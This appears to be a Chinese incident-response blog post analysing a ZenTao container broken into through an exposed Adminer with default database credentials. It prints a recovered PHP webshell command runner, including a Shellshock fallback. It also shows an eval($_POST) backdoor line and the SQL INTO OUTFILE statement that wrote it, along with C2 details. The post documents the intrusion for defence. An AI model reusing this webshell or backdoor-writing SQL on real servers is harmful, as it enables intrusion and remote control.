invoke__">dirname</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;SCRIPT_FILENAME&quot;</span>]);</span><br><span class="line"><span class="variable">$c</span>=<span class="title function_ invoke__">substr</span>(<span class="variable">$d</span>,<span class="number">0</span>,<span class="number">1</span>)==<span class="string">&quot;/&quot;</span>?<span class="string">&quot;-c \&quot;&#123;</span></span><br><span class="line"><span class="string"><span class="subst">$s</span></span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">\&quot;&quot;</span>:<span class="string">&quot;/c \&quot;&#123;</span></span><br><span class="line"><span class="string"><span class="subst">$s</span></span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">\&quot;&quot;</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$d</span>,<span class="number">0</span>,<span class="number">1</span>)==<span class="string">&quot;/&quot;</span>)&#123;</span><br><span class="line">@<span class="title function_ invoke__">putenv</span>(<span class="string">&quot;PATH=&quot;</span>.<span class="title function_ invoke__">getenv</span>(<span class="string">&quot;PATH&quot;</span>).<span class="string">&quot;:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">@<span class="title function_ invoke__">putenv</span>(<span class="string">&quot;PATH=&quot;</span>.<span class="title function_ invoke__">getenv</span>(<span class="string">&quot;PATH&quot;</span>).<span class="string">&quot;;C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$envstr</span>))&#123;</span><br><span class="line"><span class="variable">$envarr</span>=<span class="title function_ invoke__">explode</span>(<span class="string">&quot;|||asline|||&quot;</span>, <span class="variable">$envstr</span>);</span><br><span class="line"><span class="keyword">foreach</span>(<span class="variable">$envarr</span> <span class="keyword">as</span> <span class="variable">$v</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$v</span>)) &#123;</span><br><span class="line">@<span class="title function_ invoke__">putenv</span>(<span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;|||askey|||&quot;</span>, <span class="string">&quot;=&quot;</span>, <span class="variable">$v</span>));</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$r</span>=<span class="string">&quot;&#123;</span></span><br><span class="line"><span class="string"><span class="subst">$p</span>&#125;</span></span><br><span class="line"><span class="string"> &#123;</span></span><br><span class="line"><span class="string"><span class="subst">$c</span>&#125;</span></span><br><span class="line"><span class="string">&quot;</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fe</span>(<span class="params"><span class="variable">$f</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$d</span>=<span class="title function_ invoke__">explode</span>(<span class="string">&quot;,&quot;</span>,@<span class="title function_ invoke__">ini_get</span>(<span class="string">&quot;disable_functions&quot;</span>));</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>(<span class="variable">$d</span>))&#123;</span><br><span class="line"><span class="variable">$d</span>=<span class="keyword">array</span>();</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="variable">$d</span>=<span class="title function_ invoke__">array_map</span>(<span class="string">&#x27;trim&#x27;</span>,<span class="title function_ invoke__">array_map</span>(<span class="string">&#x27;strtolower&#x27;</span>,<span class="variable">$d</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span>(<span class="title function_ invoke__">function_exists</span>(<span class="variable">$f</span>)&amp;&amp;<span class="title function_ invoke__">is_callable</span>(<span class="variable">$f</span>)&amp;&amp;!<span class="title function_ invoke__">in_array</span>(<span class="variable">$f</span>,<span class="variable">$d</span>));</span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">runshellshock</span>(<span class="params"><span class="variable">$d</span>, <span class="variable">$c</span></span>) </span>&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">substr</span>(<span class="variable">$d</span>, <span class="number">0</span>, <span class="number">1</span>) == <span class="string">&quot;/&quot;</span> &amp;&amp; <span class="title function_ invoke__">fe</span>(<span class="string">&#x27;putenv&#x27;</span>) &amp;&amp; (<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;error_log&#x27;</span>) || <span class="title function_ invoke__">fe</span>(<span class="string">&#x27;mail&#x27;</span>))) &#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">strstr</span>(<span class="title function_ invoke__">readlink</span>(<span class="string">&quot;/bin/sh&quot;</span>), <span class="string">&quot;bash&quot;</span>) != <span class="literal">FALSE</span>) &#123;</span><br><span class="line"><span class="variable">$tmp</span> = <span class="title function_ invoke__">tempnam</span>(<span class="title function_ invoke__">sys_get_temp_dir</span>(), <span class="string">&#x27;as&#x27;</span>);</span><br><span class="line"><span class="title function_ invoke__">putenv</span>(<span class="string">&quot;PHP_LOL=() &#123;x;&#125;;<span class="subst">$c</span> &gt;<span class="subst">$tmp</span> 2&gt;&amp;1&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;error_log&#x27;</span>)) &#123;</span><br><span class="line"><span class="title function_ invoke__">error_log</span>(<span class="string">&quot;a&quot;</span>, <span class="number">1</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="title function_ invoke__">mail</span>(<span class="string">&quot;a@127.0.0.1&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;-bv&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">return</span> False;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$output</span> = @<span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$tmp</span>);</span><br><span class="line">@<span class="title function_ invoke__">unlink</span>(<span class="variable">$tmp</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$output</span> != <span class="string">&quot;&quot;</span>) &#123;</span><br><span class="line"><span class="keyword">print</span>(<span class="variable">$output</span>);</span><br><span class="line"><span class="keyword">return</span> True;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> False;</span><br><span class="line">&#125;</span><br><span class="line">;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">runcmd</span>(<span class="params"><span class="variable">$c</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$ret</span>=<span class="number">0</span>;</span><br><span class="line"><span class="variable">$d</span>=<span class="title function_ invoke__">dirname</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;SCRIPT_FILENAME&quot;</span>]);</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;system&#x27;</span>))&#123;</span><br><span class="line">@<span class="title function_ invoke__">system</span>(<span class="variable">$c</span>,<span class="variable">$ret</span>);</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;passthru&#x27;</span>))&#123;</span><br><span class="line">@<span class="title function_ invoke__">passthru</span>(<span class="variable">$c</span>,<span class="variable">$ret</span>);</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;shell_exec&#x27;</span>))&#123;</span><br><span class="line"><span class="keyword">print</span>(@<span class="title function_ invoke__">shell_exec</span>(<span class="variable">$c</span>));</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;exec&#x27;</span>))&#123;</span><br><span class="line">@<span class="title function_ invoke__">exec</span>(<span class="variable">$c</span>,<span class="variable">$o</span>,<span class="variable">$ret</span>);</span><br><span class="line"><span class="keyword">print</span>(<span class="title function_ invoke__">join</span>(<span class="string">&quot;&quot;</span>,<span class="variable">$o</span>));</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;popen&#x27;</span>))&#123;</span><br><span class="line"><span class="variable">$fp</span>=@<span class="title function_ invoke__">popen</span>(<span class="variable">$c</span>,<span class="string">&#x27;r&#x27;</span>);</span><br><span class="line"><span class="keyword">while</span>(!@<span class="title function_ invoke__">feof</span>(<span class="variable">$fp</span>))&#123;</span><br><span class="line"><span class="keyword">print</span>(@<span class="title function_ invoke__">fgets</span>(<span class="variable">$fp</span>,<span class="number">2048</span>));</span><br><span class="line">&#125;</span><br><span class="line">@<span class="title function_ invoke__">pclose</span>(<span class="variable">$fp</span>);</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;proc_open&#x27;</span>))&#123;</span><br><span class="line"><span class="variable">$p</span> = @<span class="title function_ invoke__">proc_open</span>(<span class="variable">$c</span>, <span class="keyword">array</span>(<span class="number">1</span> =&gt; <span class="keyword">array</span>(<span class="string">&#x27;pipe&#x27;</span>, <span class="string">&#x27;w&#x27;</span>), <span class="number">2</span> =&gt; <span class="keyword">array</span>(<span class="string">&#x27;pipe&#x27;</span>, <span class="string">&#x27;w&#x27;</span>)), <span class="variable">$io</span>);</span><br><span class="line"><span class="keyword">while</span>(!@<span class="title function_ invoke__">feof</span>(<span class="variable">$io</span>[<span class="number">1</span>]))&#123;</span><br><span class="line"><span class="keyword">print</span>(@<span class="title function_ invoke__">fgets</span>(<span class="variable">$io</span>[<span class="number">1</span>],<span class="number">2048</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(!@<span class="title function_ invoke__">feof</span>(<span class="variable">$io</span>[<span class="number">2</span>]))&#123;</span><br><span class="line"><span class="keyword">print</span>(@<span class="title function_ invoke__">fgets</span>(<span class="variable">$io</span>[<span class="number">2</span>],<span class="number">2048</span>));</span><br><span class="line">&#125;</span><br><span class="line">@<span class="title function_ invoke__">fclose</span>(<span class="variable">$io</span>[<span class="number">1</span>]);</span><br><span class="line">@<span class="title function_ invoke__">fclose</span>(<span class="variable">$io</span>[<span class="number">2</span>]);</span><br><span class="line">@<span class="title function_ invoke__">proc_close</span>(<span class="variable">$p</span>);</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">fe</span>(<span class="string">&#x27;antsystem&#x27;</span>))&#123;</span><br><span class="line">@<span class="title function_ invoke__">antsystem</span>(<span class="variable">$c</span>);</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">runshellshock</span>(<span class="variable">$d</span>, <span class="variable">$c</span>)) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$ret</span>;</span><br><span class="line">&#125;<span class="keyword">elseif</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$d</span>,<span class="number">0</span>,<span class="number">1</span>)!=<span class="string">&quot;/&quot;</span> &amp;&amp; @<span class="title function_ invoke__">class_exists</span>(<span class="string">&quot;COM&quot;</span>))&#123;</span><br><span class="line"><span class="variable">$w</span>=<span class="keyword">new</span> <span class="title function_ invoke__">COM</span>(<span class="string">&#x27;WScript.shell&#x27;</span>);</span><br><span class="line"><span class="variable">$e</span>=<span class="variable">$w</span>-&gt;<span class="title function_ invoke__">exec</span>(<span class="variable">$c</span>);</span><br><span class="line"><span class="variable">$so</span>=<span class="variable">$e</span>-&gt;<span class="title function_ invoke__">StdOut</span>();</span><br><span class="line"><span class="variable">$ret</span>.=<span class="variable">$so</span>-&gt;<span class="title function_ invoke__">ReadAll</span>();</span><br><span class="line"><span class="variable">$se</span>=<span class="variable">$e</span>-&gt;<span class="title function_ invoke__">StdErr</span>();</span><br><span class="line"><span class="variable">$ret</span>.=<span class="variable">$se</span>-&gt;<span class="title function_ invoke__">ReadAll</span>();</span><br><span class="line"><span class="keyword">print</span>(<span class="variable">$ret</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="variable">$ret</span> = <span class="number">127</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$ret</span>;</span><br><span class="line">&#125;</span><br><span class="line">;</span><br><span class="line"><span class="variable">$ret</span>=@<span class="title function_ invoke__">runcmd</span>(<span class="variable">$r</span>.<span class="string">&quot; 2&gt;&amp;1&quot;</span>);</span><br><span class="line"><span class="keyword">print</span> (<span class="variable">$ret</span>!=<span class="number">0</span>)?<span class="string">&quot;ret=<span class="subst">&#123;$ret&#125;</span>&quot;</span>:<span class="string">&quot;&quot;</span>;</span><br><span class="line">;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span>(<span class="built_in">Exception</span> <span class="variable">$e</span>)&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;ERROR://&quot;</span>.<span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>();</span><br><span class="line">&#125;</span><br><span class="line">;</span><br><span class="line"><span class="title function_ invoke__">asoutput</span>();</span><br><span class="line"><span class="keyword">die</span>();</span><br></pre></td></tr></table></figure><p>找到一个后门：<code>/apps/zentao/config/config.php</code>，权限 777,最后一句：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">@<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;nasik1&#x27;</span>]);</span><br></pre></td></tr></table></figure><p>执行 <code>stat config/config.php</code>，输出：</p><blockquote><p> File: config&#x2F;config.php<br>  Size: 16600     Blocks: 40         IO Block: 4096   regular file<br>Device: 5eh&#x2F;94dInode: 2374867     Links: 1<br>Access: (0777&#x2F;-rwxrwxrwx)  Uid: (65534&#x2F;  nobody)   Gid: (65534&#x2F; nogroup)<br>Access: 2025-05-13 12:51:49.652000000 +0800<br>Modify: 2025-04-16 13:08:56.368000000 +0800<br>Change: 2025-04-16 13:08:56.368000000 +0800<br> Birth: 2025-02-19 14:01:10.416000000 +0800</p></blockquote><h3 id="继续漏洞分析"><a href="#继续漏洞分析" class="headerlink" title="继续漏洞分析"></a>继续漏洞分析</h3><p>这个版本的禅道自带 adminer(版本 4.8.2-dev)，这个是我到代码目录下才看见的。我找了找 adminer 的漏洞，很容易就找到一个，但是这个漏洞的利用必须得先要</p><ol><li>有能登录数据库的账号密码</li><li>这个数据库账号还需要有 FILE 权限</li></ol><p>而恰好，当时跑 zentao 之后第一次安装时，数据库设置选的缺省的账号密码，本来缺省的也没事，毕竟数据库只能本地连，但 adminer 一下子又让 web 可以访问，于是，web 也就能连数据库了，再加上还是缺省账号密码，于是就能 web 登录数据库了，然后缺省账号密码权限还很高，于是直接就能写后门了。</p><p>至于前面看到的 <code>/apps/zentao/config/config.php</code> 里最后的一句：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">@<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;nasik1&#x27;</span>]);</span><br></pre></td></tr></table></figure><p>都是在 adminer 中登录数据库以后，执行 sql 语句：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> &quot;@eval(\$_POST[&#x27;nasik1&#x27;]);&quot; <span class="keyword">INTO</span> OUTFILE <span class="string">&#x27;/apps/zentao/config/config.php&#x27;</span></span><br></pre></td></tr></table></figure><p>生成的。</p><p>在 zentao 的日志里发现了关键几句：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">192.168.0.1 - - [15/Apr/2025:15:58:43 +0800] &quot;POST /adminer/index.php HTTP/1.0&quot; 302 - &quot;https://api-devnet.chainless.top:8002/adminer/index.php&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36&quot;</span><br><span class="line">192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] &quot;GET /adminer/index.php?username=root&amp;db=zentao HTTP/1.0&quot; 403 4673 &quot;https://api-devnet.chainless.top:8002/adminer/index.php&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36&quot;</span><br><span class="line">192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] &quot;GET /adminer/index.php?file=functions.js&amp;version=4.8.2-dev HTTP/1.0&quot; 200 27548 &quot;https://api-devnet.chainless.top:8002/adminer/index.php?username=root&amp;db=zentao&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36&quot;</span><br><span class="line">192.168.0.1 - - [15/Apr/2025:15:58:45 +0800] &quot;GET /adminer/index.php?file=favicon.ico&amp;version=4.8.2-dev HTTP/1.0&quot; 200 318 &quot;https://api-devnet.chainless.top:8002/adminer/index.php?username=root&amp;db=zentao&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36&quot;</span><br></pre></td></tr></table></figure><p>由上可以看出，黑客是 <code>15/Apr/2025:15:58:44 +0800</code> 开始进来的。但是前面看 <code>/apps/zentao/config/config.php</code> 是 <code>16/Apr/2025</code> 被植入后门的。但我在那个时间没有抓到有力证据有写入 config.php 的操作。 </p><h2 id="后续操作"><a href="#后续操作" class="headerlink" title="后续操作"></a>后续操作</h2><p>另外用禅道官方最新的 image <code>easysoft/zentao:21.6</code> 和之前的持久化的数据，删了些东西，重建了一个容器：zentao，publish 到 8001 端口，现在用宿主机的 内网 IP 可以访问。</p><p>随后会创建网络 ACL，据掉从 192.168.0.0&#x2F;23（PVE） 到 192.168.2.0&#x2F;23（深圳办公室） 的主动访问请求。</p><h3 id="异常文件分析"><a href="#异常文件分析" class="headerlink" title="异常文件分析"></a>异常文件分析</h3><p>以下为容器内 <code>/tmp</code> 目录下的关键异常文件：</p><ol><li><p>**<code>/tmp/phpx2lUxr</code>**：</p><ul><li><strong>MD5</strong>：<code>0a525dab9878c80373399c1ed0f7b8d6</code></li><li><strong>创建时间</strong>：2025年4月23指的是什么？4月23日</li><li><strong>分析</strong>：文件内容为base64编码字符串，解码后疑似为加密的恶意脚本或payload。由于文件过大，未直接包含在报告中。初步分析表明其可能为攻击者植入的加密后门或下载器，用于动态加载其他恶意代码。</li><li><strong>作用</strong>：可能作为初始植入点或后续恶意代码的加载器。</li></ul></li><li><p>**<code>/tmp/.1/ns</code>**：</p><ul><li><strong>MD5</strong>：<code>dd1c4358c778d3f1161266fa0d81e8cc</code></li><li><strong>描述</strong>：位于隐藏目录 <code>/tmp/.1</code> 中，可执行二进制文件，负责C2通信。</li></ul></li><li><p>**<code>/tmp/slix</code>**：</p><ul><li><strong>MD5</strong>：<code>cbd49e364bac69eb77813435e5c18365</code></li><li><strong>描述</strong>：可执行文件，负责协调网络扫描和脚本执行。</li></ul></li><li><p><strong>其他文件</strong>：</p><ul><li><code>/tmp/fs</code>：网络扫描工具，配合 <code>scanb.sh</code> 使用。</li><li><code>/tmp/rustscan</code>：快速端口扫描工具。</li><li><code>/tmp/cdk_linux_386</code>：疑似漏洞利用或恶意二进制文件。</li><li><code>/tmp/.32915ant_x64.so</code>、<code>/tmp/gconv-modules</code>：可能的恶意动态库。</li><li><code>/tmp/adminer.invalid</code>、<code>/tmp/adminer.version</code>：与Adminer数据库管理工具相关，暗示可能的web攻击向量。</li><li><code>/tmp/CVE-2021-22555-Exploit</code>：目录名指向Linux内核提权漏洞（CVE-2021-22555），表明攻击者尝试提权。</li></ul></li></ol><h3 id="攻击者基础设施"><a href="#攻击者基础设施" class="headerlink" title="攻击者基础设施"></a>攻击者基础设施</h3><ul><li><strong>IP地址</strong>：<code>176.32.35.190</code></li><li><strong>归属</strong>：俄罗斯，<code>BX-NETWORK</code>（AS51659），托管商Baxet.ru，滥用联系邮箱 <code>noc@baxet.ru</code>。</li><li><strong>作用</strong>：C2服务器，接收 <code>ns</code> 进程的通信，控制恶意活动。</li><li><strong>证据</strong>：网络流量分析显示 <code>176.32.35.190:8024</code> 为主要外部通信目标，<code>ns</code> 进程的 <code>-vkey=82yukro912ktndfc</code> 参数表明存在身份验证机制。</li></ul><h3 id="入侵时间线"><a href="#入侵时间线" class="headerlink" title="入侵时间线"></a>入侵时间线</h3><ul><li>**2025 年 4 月 15 日：应该就被入侵（通过 adminer 进来了）</li><li><strong>2025年4月15–23日</strong>：恶意文件（<code>slix</code>、<code>ns</code>、<code>phpx2lUxr</code> 等）陆续出现，<code>slix</code> 进程最早于4月17日启动，表明入侵可能发生于4月中旬。</li><li><strong>2025年4月23日</strong>：<code>ns</code> 进程启动，与C2服务器建立连接。</li><li><strong>2025年5月6日</strong>：检测到PVE香港出口带宽异常，初步定位为 <code>176.32.35.190:8024</code> 的流量。</li><li><strong>2025年5月7日</strong>：通过 <code>pstree -a</code> 确认容器内存在异常进程，正式确认入侵。</li></ul><h3 id="可能攻击向量"><a href="#可能攻击向量" class="headerlink" title="可能攻击向量"></a>可能攻击向量</h3><ul><li><strong>ZenTao漏洞</strong>：<code>easysoft/zentao:21.4</code> 或其Adminer组件可能存在远程代码执行（RCE）、文件上传或其他web漏洞，导致初始访问。</li><li><strong>Web暴露</strong>：容器通过PVE主机的Nginx代理暴露端口 <code>8002</code>，若未配置强认证或WAF，可能被外部直接攻击。</li><li><strong>提权尝试</strong>：<code>/tmp/CVE-2021-22555-Exploit</code> 表明攻击者尝试利用Linux内核漏洞提权，但 <code>docker inspect</code> 显示容器非特权模式（<code>&quot;Privileged&quot;: false</code>），限制了提权影响。</li><li><strong>用户权限</strong>：恶意进程以 <code>nobody</code> 用户运行，与ZenTao的Apache默认用户一致，暗示攻击通过web漏洞获得容器内执行权限。</li></ul><h2 id="事件影响"><a href="#事件影响" class="headerlink" title="事件影响"></a>事件影响</h2><ul><li><strong>容器妥协</strong>：<code>zentao</code> 容器完全被入侵，运行恶意进程并与C2服务器通信。</li><li><strong>网络扫描</strong>：攻击者扫描内网网段 <code>192.168.0.0/16</code> 和 <code>172.24.0.0/16</code>，可能收集了网络拓扑或其他设备信息。</li><li><strong>数据泄露风险</strong>：<code>ns</code> 进程与C2服务器的通信，可能导致敏感数据（如ZenTao数据库内容）外泄或接收恶意指令。</li><li><strong>主机安全</strong>：暂无证据显示PVE主机或其他虚拟机受损，但内网扫描行为增加了横向移动风险。</li></ul><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p><code>zentao</code> 容器于2025年4月中旬通过可能的web漏洞被入侵，攻击者植入恶意文件（<code>slix</code>、<code>ns</code>、<code>phpx2lUxr</code> 等），执行网络扫描和C2通信。入侵持续约20天，直至2025年5月6日因带宽异常暴露。应急隔离措施已生效，建议进一步分析日志、恶意文件，重建干净的ZenTao服务，并检查内网其他系统是否受影响。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;发现时间&quot;&gt;&lt;a href=&quot;#发现时间&quot; class=&quot;headerlink&quot; title=&quot;发现时间&quot;&gt;&lt;/a&gt;发现时间&lt;/h2&gt;&lt;p&gt;最早发现是 2025-05-06 下午，发现 PVE 的香港出口带宽异常，接着发现跟 176.32.35.190 的 tcp 端口 8024 有大量的数据交互&lt;/p&gt;
&lt;p&gt;然后在 2025-05-07 上午，用 &lt;code&gt;docker exec -it zentao /bin/bash&lt;/code&gt; 进入容器，&lt;code&gt;apt install psmisc&lt;/code&gt;，然后 &lt;code&gt;pstree -a&lt;/code&gt; 才确认被入侵的。&lt;/p&gt;
&lt;p&gt;zentao 容器内执行 &lt;code&gt;pstree -a&lt;/code&gt; 输出：&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;46&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;47&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;48&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;49&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;50&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;51&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;s6-svscan /etc/s6/s6-enable&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |-s6-supervise 00-mysql&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |   `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |       `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           `-13*[&amp;#123;mariadbd&amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |-s6-supervise 02-sentry&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |   `-tail -f /tmp/sentry.log&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |-s6-supervise 03-roadrunner&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |   `-rr serve -c /apps/zentao/roadrunner/.rr.yaml&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |       `-5*[&amp;#123;rr&amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  